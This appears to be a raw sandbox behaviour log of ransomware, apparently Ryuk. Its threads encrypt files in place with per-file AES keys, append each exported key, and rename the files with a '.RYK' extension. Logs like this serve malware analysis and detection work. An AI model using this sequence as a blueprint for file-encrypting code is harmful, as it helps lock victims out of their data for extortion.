	[0254.733] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\b0qHL.odt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\b0qhl.odt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\b0qHL.odt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\b0qhl.odt.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3286
	os_tid = 0x391c

	[0253.490] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\c2o-.png", dwFileAttributes=0x80) returned 1
	[0254.264] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\c2o-.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\c2o-.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x674
	[0254.264] GetFileSizeEx (in: hFile=0x674, lpFileSize=0x918fc98 | out: lpFileSize=0x918fc98*=95790) returned 1
	[0254.265] GetFileSizeEx (in: hFile=0x674, lpFileSize=0x918fca8 | out: lpFileSize=0x918fca8*=95790) returned 1
	[0254.265] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x1750c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0254.265] ReadFile (in: hFile=0x674, lpBuffer=0x918fcf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x918fc60, lpOverlapped=0x0 | out: lpBuffer=0x918fcf0*, lpNumberOfBytesRead=0x918fc60*=0x19, lpOverlapped=0x0) returned 1
	[0254.266] SetFilePointer (in: hFile=0x674, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.266] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x918fc78 | out: phKey=0x918fc78*=0x3aead0) returned 1
	[0254.267] SetFilePointer (in: hFile=0x674, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.267] ReadFile (in: hFile=0x674, lpBuffer=0x3780000, nNumberOfBytesToRead=0x1762e, lpNumberOfBytesRead=0x918fc84, lpOverlapped=0x0 | out: lpBuffer=0x3780000*, lpNumberOfBytesRead=0x918fc84*=0x1762e, lpOverlapped=0x0) returned 1
	[0254.270] CryptEncrypt (in: hKey=0x3aead0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x918fc80*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x918fc80*=0xf4250) returned 1
	[0254.270] CryptEncrypt (in: hKey=0x3aead0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3780000*, pdwDataLen=0x918fc88*=0x1762e, dwBufLen=0xf4250 | out: pbData=0x3780000*, pdwDataLen=0x918fc88*=0x17630) returned 1
	[0254.271] SetFilePointer (in: hFile=0x674, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.271] WriteFile (in: hFile=0x674, lpBuffer=0x3780000*, nNumberOfBytesToWrite=0x17630, lpNumberOfBytesWritten=0x918fc84, lpOverlapped=0x0 | out: lpBuffer=0x3780000*, lpNumberOfBytesWritten=0x918fc84*=0x17630, lpOverlapped=0x0) returned 1
	[0254.271] WriteFile (in: hFile=0x674, lpBuffer=0x918fcb0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x918fc90, lpOverlapped=0x0 | out: lpBuffer=0x918fcb0*, lpNumberOfBytesWritten=0x918fc90*=0x6, lpOverlapped=0x0) returned 1
	[0254.271] CryptExportKey (in: hKey=0x3aead0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x918fca0 | out: pbData=0x0*, pdwDataLen=0x918fca0*=0x10c) returned 1
	[0254.272] CryptExportKey (in: hKey=0x3aead0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x918fd10, pdwDataLen=0x918fca0 | out: pbData=0x918fd10*, pdwDataLen=0x918fca0*=0x10c) returned 1
	[0254.272] WriteFile (in: hFile=0x674, lpBuffer=0x918fd10*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x918fc90, lpOverlapped=0x0 | out: lpBuffer=0x918fd10*, lpNumberOfBytesWritten=0x918fc90*=0x10c, lpOverlapped=0x0) returned 1
	[0254.272] CloseHandle (hObject=0x674) returned 1
	[0254.731] CryptDestroyKey (hKey=0x3aead0) returned 1
	[0254.731] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\c2o-.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\c2o-.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\c2o-.png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\c2o-.png.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3287
	os_tid = 0x3920

	[0253.491] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cN7DcCnDgk9.gif", dwFileAttributes=0x80) returned 1
	[0253.924] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cN7DcCnDgk9.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cn7dccndgk9.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x670
	[0253.924] GetFileSizeEx (in: hFile=0x670, lpFileSize=0xa04f6b8 | out: lpFileSize=0xa04f6b8*=10866) returned 1
	[0253.924] GetFileSizeEx (in: hFile=0x670, lpFileSize=0xa04f6c8 | out: lpFileSize=0xa04f6c8*=10866) returned 1
	[0253.925] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x2950, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0253.925] ReadFile (in: hFile=0x670, lpBuffer=0xa04f710, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa04f680, lpOverlapped=0x0 | out: lpBuffer=0xa04f710*, lpNumberOfBytesRead=0xa04f680*=0x19, lpOverlapped=0x0) returned 1
	[0253.926] SetFilePointer (in: hFile=0x670, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0253.926] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0xa04f698 | out: phKey=0xa04f698*=0x3f7e00) returned 1
	[0253.926] SetFilePointer (in: hFile=0x670, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0253.926] ReadFile (in: hFile=0x670, lpBuffer=0x3c80000, nNumberOfBytesToRead=0x2a72, lpNumberOfBytesRead=0xa04f6a4, lpOverlapped=0x0 | out: lpBuffer=0x3c80000*, lpNumberOfBytesRead=0xa04f6a4*=0x2a72, lpOverlapped=0x0) returned 1
	[0253.927] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0xa04f6a0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0xa04f6a0*=0xf4250) returned 1
	[0253.927] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3c80000*, pdwDataLen=0xa04f6a8*=0x2a72, dwBufLen=0xf4250 | out: pbData=0x3c80000*, pdwDataLen=0xa04f6a8*=0x2a80) returned 1
	[0253.927] SetFilePointer (in: hFile=0x670, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0253.927] WriteFile (in: hFile=0x670, lpBuffer=0x3c80000*, nNumberOfBytesToWrite=0x2a80, lpNumberOfBytesWritten=0xa04f6a4, lpOverlapped=0x0 | out: lpBuffer=0x3c80000*, lpNumberOfBytesWritten=0xa04f6a4*=0x2a80, lpOverlapped=0x0) returned 1
	[0253.928] WriteFile (in: hFile=0x670, lpBuffer=0xa04f6d0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0xa04f6b0, lpOverlapped=0x0 | out: lpBuffer=0xa04f6d0*, lpNumberOfBytesWritten=0xa04f6b0*=0x6, lpOverlapped=0x0) returned 1
	[0253.928] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xa04f6c0 | out: pbData=0x0*, pdwDataLen=0xa04f6c0*=0x10c) returned 1
	[0253.928] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0xa04f730, pdwDataLen=0xa04f6c0 | out: pbData=0xa04f730*, pdwDataLen=0xa04f6c0*=0x10c) returned 1
	[0253.928] WriteFile (in: hFile=0x670, lpBuffer=0xa04f730*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0xa04f6b0, lpOverlapped=0x0 | out: lpBuffer=0xa04f730*, lpNumberOfBytesWritten=0xa04f6b0*=0x10c, lpOverlapped=0x0) returned 1
	[0253.928] CloseHandle (hObject=0x670) returned 1
	[0253.968] CryptDestroyKey (hKey=0x3f7e00) returned 1
	[0253.968] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cN7DcCnDgk9.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cn7dccndgk9.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cN7DcCnDgk9.gif.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cn7dccndgk9.gif.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3439
	os_tid = 0x3b6c

	[0255.542] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\index.dat", dwFileAttributes=0x80) returned 1
	[0255.542] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cookies\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x66c
	[0255.543] GetFileSizeEx (in: hFile=0x66c, lpFileSize=0x8ccf918 | out: lpFileSize=0x8ccf918*=16384) returned 1
	[0255.543] GetFileSizeEx (in: hFile=0x66c, lpFileSize=0x8ccf928 | out: lpFileSize=0x8ccf928*=16384) returned 1
	[0255.543] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x3ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0255.543] ReadFile (in: hFile=0x66c, lpBuffer=0x8ccf970, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8ccf8e0, lpOverlapped=0x0 | out: lpBuffer=0x8ccf970*, lpNumberOfBytesRead=0x8ccf8e0*=0x19, lpOverlapped=0x0) returned 1
	[0255.546] SetFilePointer (in: hFile=0x66c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0255.546] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8ccf8f8 | out: phKey=0x8ccf8f8*=0x3f80a0) returned 1
	[0255.546] SetFilePointer (in: hFile=0x66c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0255.546] ReadFile (in: hFile=0x66c, lpBuffer=0x2610000, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x8ccf904, lpOverlapped=0x0 | out: lpBuffer=0x2610000*, lpNumberOfBytesRead=0x8ccf904*=0x4000, lpOverlapped=0x0) returned 1
	[0255.547] CryptEncrypt (in: hKey=0x3f80a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8ccf900*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8ccf900*=0xf4250) returned 1
	[0255.547] CryptEncrypt (in: hKey=0x3f80a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2610000*, pdwDataLen=0x8ccf908*=0x4000, dwBufLen=0xf4250 | out: pbData=0x2610000*, pdwDataLen=0x8ccf908*=0x4010) returned 1
	[0255.547] SetFilePointer (in: hFile=0x66c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0255.548] WriteFile (in: hFile=0x66c, lpBuffer=0x2610000*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x8ccf904, lpOverlapped=0x0 | out: lpBuffer=0x2610000*, lpNumberOfBytesWritten=0x8ccf904*=0x4010, lpOverlapped=0x0) returned 1
	[0255.548] WriteFile (in: hFile=0x66c, lpBuffer=0x8ccf930*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8ccf910, lpOverlapped=0x0 | out: lpBuffer=0x8ccf930*, lpNumberOfBytesWritten=0x8ccf910*=0x6, lpOverlapped=0x0) returned 1
	[0255.549] CryptExportKey (in: hKey=0x3f80a0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8ccf920 | out: pbData=0x0*, pdwDataLen=0x8ccf920*=0x10c) returned 1
	[0255.549] CryptExportKey (in: hKey=0x3f80a0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8ccf990, pdwDataLen=0x8ccf920 | out: pbData=0x8ccf990*, pdwDataLen=0x8ccf920*=0x10c) returned 1
	[0255.549] WriteFile (in: hFile=0x66c, lpBuffer=0x8ccf990*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8ccf910, lpOverlapped=0x0 | out: lpBuffer=0x8ccf990*, lpNumberOfBytesWritten=0x8ccf910*=0x10c, lpOverlapped=0x0) returned 1
	[0255.549] CloseHandle (hObject=0x66c) returned 1
	[0255.550] CryptDestroyKey (hKey=0x3f80a0) returned 1
	[0255.550] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cookies\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cookies\\index.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3440
	os_tid = 0x3b70

	[0255.546] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cWKgRNKb-nRhISbFb.odp", dwFileAttributes=0x80) returned 1
	[0255.558] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cWKgRNKb-nRhISbFb.odp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cwkgrnkb-nrhisbfb.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x670
	[0255.558] GetFileSizeEx (in: hFile=0x670, lpFileSize=0x902f578 | out: lpFileSize=0x902f578*=85520) returned 1
	[0255.558] GetFileSizeEx (in: hFile=0x670, lpFileSize=0x902f588 | out: lpFileSize=0x902f588*=85520) returned 1
	[0255.559] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x14cee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0255.559] ReadFile (in: hFile=0x670, lpBuffer=0x902f5d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x902f540, lpOverlapped=0x0 | out: lpBuffer=0x902f5d0*, lpNumberOfBytesRead=0x902f540*=0x19, lpOverlapped=0x0) returned 1
	[0255.560] SetFilePointer (in: hFile=0x670, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0255.561] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x902f558 | out: phKey=0x902f558*=0x3f80a0) returned 1
	[0255.561] SetFilePointer (in: hFile=0x670, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0255.561] ReadFile (in: hFile=0x670, lpBuffer=0x2b00000, nNumberOfBytesToRead=0x14e10, lpNumberOfBytesRead=0x902f564, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesRead=0x902f564*=0x14e10, lpOverlapped=0x0) returned 1
	[0255.562] CryptEncrypt (in: hKey=0x3f80a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x902f560*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x902f560*=0xf4250) returned 1
	[0255.562] CryptEncrypt (in: hKey=0x3f80a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b00000*, pdwDataLen=0x902f568*=0x14e10, dwBufLen=0xf4250 | out: pbData=0x2b00000*, pdwDataLen=0x902f568*=0x14e20) returned 1
	[0255.563] SetFilePointer (in: hFile=0x670, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0255.563] WriteFile (in: hFile=0x670, lpBuffer=0x2b00000*, nNumberOfBytesToWrite=0x14e20, lpNumberOfBytesWritten=0x902f564, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesWritten=0x902f564*=0x14e20, lpOverlapped=0x0) returned 1
	[0255.564] WriteFile (in: hFile=0x670, lpBuffer=0x902f590*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x902f570, lpOverlapped=0x0 | out: lpBuffer=0x902f590*, lpNumberOfBytesWritten=0x902f570*=0x6, lpOverlapped=0x0) returned 1
	[0255.564] CryptExportKey (in: hKey=0x3f80a0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x902f580 | out: pbData=0x0*, pdwDataLen=0x902f580*=0x10c) returned 1
	[0255.564] CryptExportKey (in: hKey=0x3f80a0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x902f5f0, pdwDataLen=0x902f580 | out: pbData=0x902f5f0*, pdwDataLen=0x902f580*=0x10c) returned 1
	[0255.564] WriteFile (in: hFile=0x670, lpBuffer=0x902f5f0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x902f570, lpOverlapped=0x0 | out: lpBuffer=0x902f5f0*, lpNumberOfBytesWritten=0x902f570*=0x10c, lpOverlapped=0x0) returned 1
	[0255.564] CloseHandle (hObject=0x670) returned 1
	[0255.566] CryptDestroyKey (hKey=0x3f80a0) returned 1
	[0255.566] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cWKgRNKb-nRhISbFb.odp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cwkgrnkb-nrhisbfb.odp"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cWKgRNKb-nRhISbFb.odp.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cwkgrnkb-nrhisbfb.odp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3441
	os_tid = 0x3b74

	[0255.800] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dMinn1FcJBx.png", dwFileAttributes=0x80) returned 1
	[0255.801] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dMinn1FcJBx.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\dminn1fcjbx.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x69c
	[0255.801] GetFileSizeEx (in: hFile=0x69c, lpFileSize=0x919f918 | out: lpFileSize=0x919f918*=11926) returned 1
	[0255.801] GetFileSizeEx (in: hFile=0x69c, lpFileSize=0x919f928 | out: lpFileSize=0x919f928*=11926) returned 1
	[0255.802] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x2d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0255.802] ReadFile (in: hFile=0x69c, lpBuffer=0x919f970, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x919f8e0, lpOverlapped=0x0 | out: lpBuffer=0x919f970*, lpNumberOfBytesRead=0x919f8e0*=0x19, lpOverlapped=0x0) returned 1
	[0255.804] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0255.804] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x919f8f8 | out: phKey=0x919f8f8*=0x3f8030) returned 1
	[0255.804] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0255.804] ReadFile (in: hFile=0x69c, lpBuffer=0x3080000, nNumberOfBytesToRead=0x2e96, lpNumberOfBytesRead=0x919f904, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesRead=0x919f904*=0x2e96, lpOverlapped=0x0) returned 1
	[0255.804] CryptEncrypt (in: hKey=0x3f8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x919f900*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x919f900*=0xf4250) returned 1
	[0255.805] CryptEncrypt (in: hKey=0x3f8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3080000*, pdwDataLen=0x919f908*=0x2e96, dwBufLen=0xf4250 | out: pbData=0x3080000*, pdwDataLen=0x919f908*=0x2ea0) returned 1
	[0255.805] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0255.805] WriteFile (in: hFile=0x69c, lpBuffer=0x3080000*, nNumberOfBytesToWrite=0x2ea0, lpNumberOfBytesWritten=0x919f904, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesWritten=0x919f904*=0x2ea0, lpOverlapped=0x0) returned 1
	[0255.805] WriteFile (in: hFile=0x69c, lpBuffer=0x919f930*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x919f910, lpOverlapped=0x0 | out: lpBuffer=0x919f930*, lpNumberOfBytesWritten=0x919f910*=0x6, lpOverlapped=0x0) returned 1
	[0255.805] CryptExportKey (in: hKey=0x3f8030, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x919f920 | out: pbData=0x0*, pdwDataLen=0x919f920*=0x10c) returned 1
	[0255.805] CryptExportKey (in: hKey=0x3f8030, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x919f990, pdwDataLen=0x919f920 | out: pbData=0x919f990*, pdwDataLen=0x919f920*=0x10c) returned 1
	[0255.805] WriteFile (in: hFile=0x69c, lpBuffer=0x919f990*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x919f910, lpOverlapped=0x0 | out: lpBuffer=0x919f990*, lpNumberOfBytesWritten=0x919f910*=0x10c, lpOverlapped=0x0) returned 1
	[0255.806] CloseHandle (hObject=0x69c) returned 1
	[0255.807] CryptDestroyKey (hKey=0x3f8030) returned 1
